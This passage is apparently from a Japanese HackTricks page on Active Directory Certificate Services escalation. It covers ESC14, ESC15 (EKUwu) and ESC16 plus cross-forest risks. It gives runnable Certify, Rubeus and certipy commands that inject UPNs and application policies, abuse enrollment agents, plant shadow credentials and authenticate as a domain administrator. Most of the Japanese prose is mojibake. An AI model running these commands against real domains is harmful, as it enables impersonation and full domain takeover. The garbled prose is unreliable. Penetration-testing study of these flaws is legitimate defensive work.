- åææ¡ä»¶ïŒã¿ãŒã²ããã
altSecurityIdentitiesã«åŒ±ã X509IssuerSubject æç€ºçãããã³ã°ãæã£ãŠãããæ»æè ã¯è¢«å®³è ããªã³ã·ãã«ã®cnãŸãã¯dNSHostName屿§ãã¿ãŒã²ããã® X509IssuerSubject ãããã³ã°ã® subject ã«äžèŽãããããèšå®ã§ãããæ¬¡ã«ãæ»æè ã¯è¢«å®³è ãšããŠèšŒææžãç»é²ãããã®èšŒææžã䜿ã£ãŠã¿ãŒã²ãããšããŠèªèšŒã§ããã
Scenario D: Target Has X509SubjectOnly Mapping
- åææ¡ä»¶ïŒã¿ãŒã²ããã
altSecurityIdentitiesã«åŒ±ã X509SubjectOnly æç€ºçãããã³ã°ãæã£ãŠãããæ»æè ã¯è¢«å®³è ããªã³ã·ãã«ã®cnãŸãã¯dNSHostName屿§ãã¿ãŒã²ããã® X509SubjectOnly ãããã³ã°ã® subject ã«äžèŽãããããèšå®ã§ãããæ¬¡ã«ãæ»æè ã¯è¢«å®³è ãšããŠèšŒææžãç»é²ãããã®èšŒææžã䜿ã£ãŠã¿ãŒã²ãããšããŠèªèšŒã§ããã
å ·äœçãªæäœ
Scenario A
èšŒææžãã³ãã¬ãŒã Machine ã®èšŒææžãèŠæ±ãã
.\Certify.exe request /ca:<ca> /template:Machine /machine
èšŒææžãä¿åããŠå€æãã
certutil -MergePFX .\esc13.pem .\esc13.pfx
èªèšŒããïŒèšŒææžã䜿çšããŠïŒ
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
ã¯ãªãŒã³ã¢ããïŒä»»æïŒ
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
For more specific attack methods in various attack scenarios, please refer to the following: adcs-esc14-abuse-technique.
EKUwu ã¢ããªã±ãŒã·ã§ã³ããªã·ãŒ(CVE-2024-49019) - ESC15
説æ
The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the WebServer template
æªçš
The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), 詳现ãªäœ¿ç𿹿³ã¯ã¯ãªãã¯ããŠã芧ãã ããã
Certipyâs find command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
ã·ããªãª A: Direct Impersonation via Schannel
ã¹ããã 1: èšŒææžãèŠæ±ããâClient Authenticationâ Application Policy ãšã¿ãŒã²ãã UPN ãæ³šå
¥ããŸãã æ»æè
attacker@corp.local 㯠administrator@corp.local ã âWebServerâ V1 ãã³ãã¬ãŒãïŒenrollee-supplied subject ãèš±å¯ïŒã䜿çšããŠæšçã«ããŸãã
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
-template 'WebServer': è匱㪠V1 ãã³ãã¬ãŒãã§ãâEnrollee supplies subjectâ ãæå¹ã«ãªã£ãŠããŸãã-application-policies 'Client Authentication': CSR ã® Application Policies æ¡åŒµã« OID1.3.6.1.5.5.7.3.2ãæ³šå ¥ããŸãã-upn 'administrator@corp.local': SAN ã« UPN ãèšå®ããŠãªãããŸããè¡ããŸãã
ã¹ããã 2: ååŸããèšŒææžã䜿çšã㊠Schannel (LDAPS) çµç±ã§èªèšŒããŸãã
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
ã·ããªãªB: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
Step 1: V1 templateïŒâEnrollee supplies subjectâ ã䜿ã£ãŠïŒããèšŒææžãèŠæ±ããâCertificate Request Agentâ Application Policy ãæ³šå
¥ããŸãã ãã®èšŒææžã¯æ»æè
ïŒattacker@corp.localïŒã enrollment agent ã«ãªãããã®ãã®ã§ããç®çã agent ãšããŠã®æ©èœã§ãããããæ»æè
èªèº«ã® UPN ã¯ããã§ã¯æå®ãããŠããŸããã
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
-application-policies 'Certificate Request Agent': OID1.3.6.1.4.1.311.20.2.1ãæ³šå ¥ããŸãã
Step 2: Use the âagentâ certificate to request a certificate on behalf of a target privileged user. ãã㯠ESC3 ã®ãããªã¹ãããã§ãã¹ããã1ã®èšŒææžã âagentâ èšŒææžãšããŠäœ¿çšããŸãã
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
ã¹ããã3: âon-behalf-ofâ èšŒææžã䜿çšããŠç¹æš©ãŠãŒã¶ãŒãšããŠèªèšŒããã
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
CAã§ã®Security Extensionãç¡å¹ïŒã°ããŒãã«ïŒ-ESC16
説æ
ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension) ã¯ãAD CS ã®èšå®ããã¹ãŠã®èšŒææžã« szOID_NTDS_CA_SECURITY_EXT æ¡åŒµã®æ¿å ¥ã匷å¶ããªãå Žåã«çºçããç¶æ³ãæããæ»æè ã¯ããã以äžã®æ¹æ³ã§æªçšã§ããŸãïŒ
- èšŒææžãwithout SID bindingã§èŠæ±ããã
- ãã®èšŒææžãfor authentication as any accountãšããŠäœ¿çšããäŸãã°é«æš©éã¢ã«ãŠã³ãïŒäŸïŒDomain AdministratorïŒãåœè£ ããã
詳现ãªåçã«ã€ããŠã¯æ¬¡ã®èšäºãåç §ããŠãã ããïŒhttps://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
æªçš
以äžã¯ this link ãåç §ããŠããŸãã詳现ãªäœ¿ç𿹿³ã¯ã¯ãªãã¯ããŠã芧ãã ããã
Active Directory Certificate Services (AD CS) ç°å¢ã ESC16 ã«å¯ŸããŠè匱ãã©ãããèå¥ããã«ã¯
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
**ã¹ããã 1: 被害è ã¢ã«ãŠã³ãã®åæ UPN ãèªã¿åã (ä»»æ - 埩å çš).
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read
ã¹ããã 2: 被害è
ã¢ã«ãŠã³ãã® UPN ãã¿ãŒã²ãã管çè
ã® sAMAccountName ã«æŽæ°ããã
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
ã¹ããã 3: (å¿ èŠãªã) âvictimâ account ã® credentials ãååŸãã (äŸ: Shadow Credentials ãä»ããŠ).
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
Step 4: Request a certificate as the âvictimâ user from ä»»æã®é©åãªã¯ã©ã€ã¢ã³ãèªèšŒãã³ãã¬ãŒã (e.g., âUserâ) on the ESC16-vulnerable CA. CA ã ESC16 ã«è匱ãªããããã³ãã¬ãŒãã®è©²åœæ¡åŒµèšå®ã«é¢ä¿ãªããçºè¡ãããèšŒææžããèªåçã« SID ã»ãã¥ãªãã£æ¡åŒµãçç¥ãããŸããKerberos ã®ã¯ã¬ãã³ã·ã£ã«ãã£ãã·ã¥ç°å¢å€æ°ãèšå®ããŸãïŒã·ã§ã«ã³ãã³ãïŒ:
export KRB5CCNAME=victim.ccache
次ã«èšŒææžãèŠæ±ãã:
certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'
ã¹ããã5: âvictimâ ã¢ã«ãŠã³ãã® UPN ãå ã«æ»ãã
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update
ã¹ããã6: ã¿ãŒã²ããã®ç®¡çè ãšããŠèªèšŒããã
certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
èšŒææžã«ãããã©ã¬ã¹ãã®äŸµå®³ïŒååæ ã§ã®èª¬æïŒ
䟵害ããã CA ã«ãã£ãŠãã©ã¬ã¹ãã®ä¿¡é Œãç Žå£ããã
cross-forest enrollment ã®æ§æã¯æ¯èŒçåçŽã«èšå®ãããããªãœãŒã¹ãã©ã¬ã¹ãã® root CA certificate ã¯ç®¡çè
ã«ãã£ãŠ published to the account forests ããããªãœãŒã¹ãã©ã¬ã¹ãã® enterprise CA èšŒææžã¯åã¢ã«ãŠã³ããã©ã¬ã¹ãã® NTAuthCertificates and AIA containers in each account forest ã« added ããããã€ãŸãããã®æ§æã«ããããªãœãŒã¹ãã©ã¬ã¹ãã® CA in the resource forest complete control ãä»ã® PKI ã管çãããã¹ãŠã®ãã©ã¬ã¹ãã«å¯ŸããŠäžããããããšã«ãªãããããã® CA ã compromised by attackers ãšããªãœãŒã¹ãã©ã¬ã¹ãããã³ã¢ã«ãŠã³ããã©ã¬ã¹ãäž¡æ¹ã®ãã¹ãŠã®ãŠãŒã¶ãŒã®èšŒææžã forged by them ããåŸãããããã©ã¬ã¹ãã®ã»ãã¥ãªãã£å¢çãç Žå£ãããããšã«ãªãã
å€éšããªã³ã·ãã«ã«ä»äžããããšã³ããŒã«æš©é
ãã«ããã©ã¬ã¹ãç°å¢ã§ã¯ãEnterprise CAs ã publish certificate templates ã㊠Authenticated Users or foreign principalsïŒEnterprise CA ãå±ãããã©ã¬ã¹ãã®å€éšã«ãããŠãŒã¶ãŒïŒã°ã«ãŒãïŒã« enrollment and edit rights ãèš±å¯ããŠããå Žåã«æ³šæãå¿
èŠãšãããã
ãã©ã¹ããè¶ããèªèšŒãè¡ããããšãAuthenticated Users SID ã AD ã«ãã£ãŠãŠãŒã¶ãŒã®ããŒã¯ã³ã«è¿œå ãããããããã£ãŠããããã¡ã€ã³ã allows Authenticated Users enrollment rights ãæãããã³ãã¬ãŒããæã€ Enterprise CA ãä¿æããŠããå Žåããã®ãã³ãã¬ãŒãã¯å¥ã®ãã©ã¬ã¹ãã®ãŠãŒã¶ãŒã«ãã£ãŠ enrolled in by a user from a different forest ããåŸããåæ§ã«ããã³ãã¬ãŒãã«ãã£ãŠ enrollment rights are explicitly granted to a foreign principal by a template å Žåãcross-forest access-control relationship is thereby created ãããäžæ¹ã®ãã©ã¬ã¹ãã®ããªã³ã·ãã«ãå¥ã®ãã©ã¬ã¹ãã®ãã³ãã¬ãŒãã« enroll in a template from another forest ã§ããããã«ãããã
ã©ã¡ãã®ã·ããªãªã§ãããã©ã¬ã¹ãéã§ã® increase in the attack surface ãåŒãèµ·ãããããèšŒææžãã³ãã¬ãŒãã®èšå®ã¯æ»æè ã«ãã£ãŠæªçšãããå€éšãã¡ã€ã³ã§è¿œå ã®ç¹æš©ãååŸãããå¯èœæ§ãããã
References
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


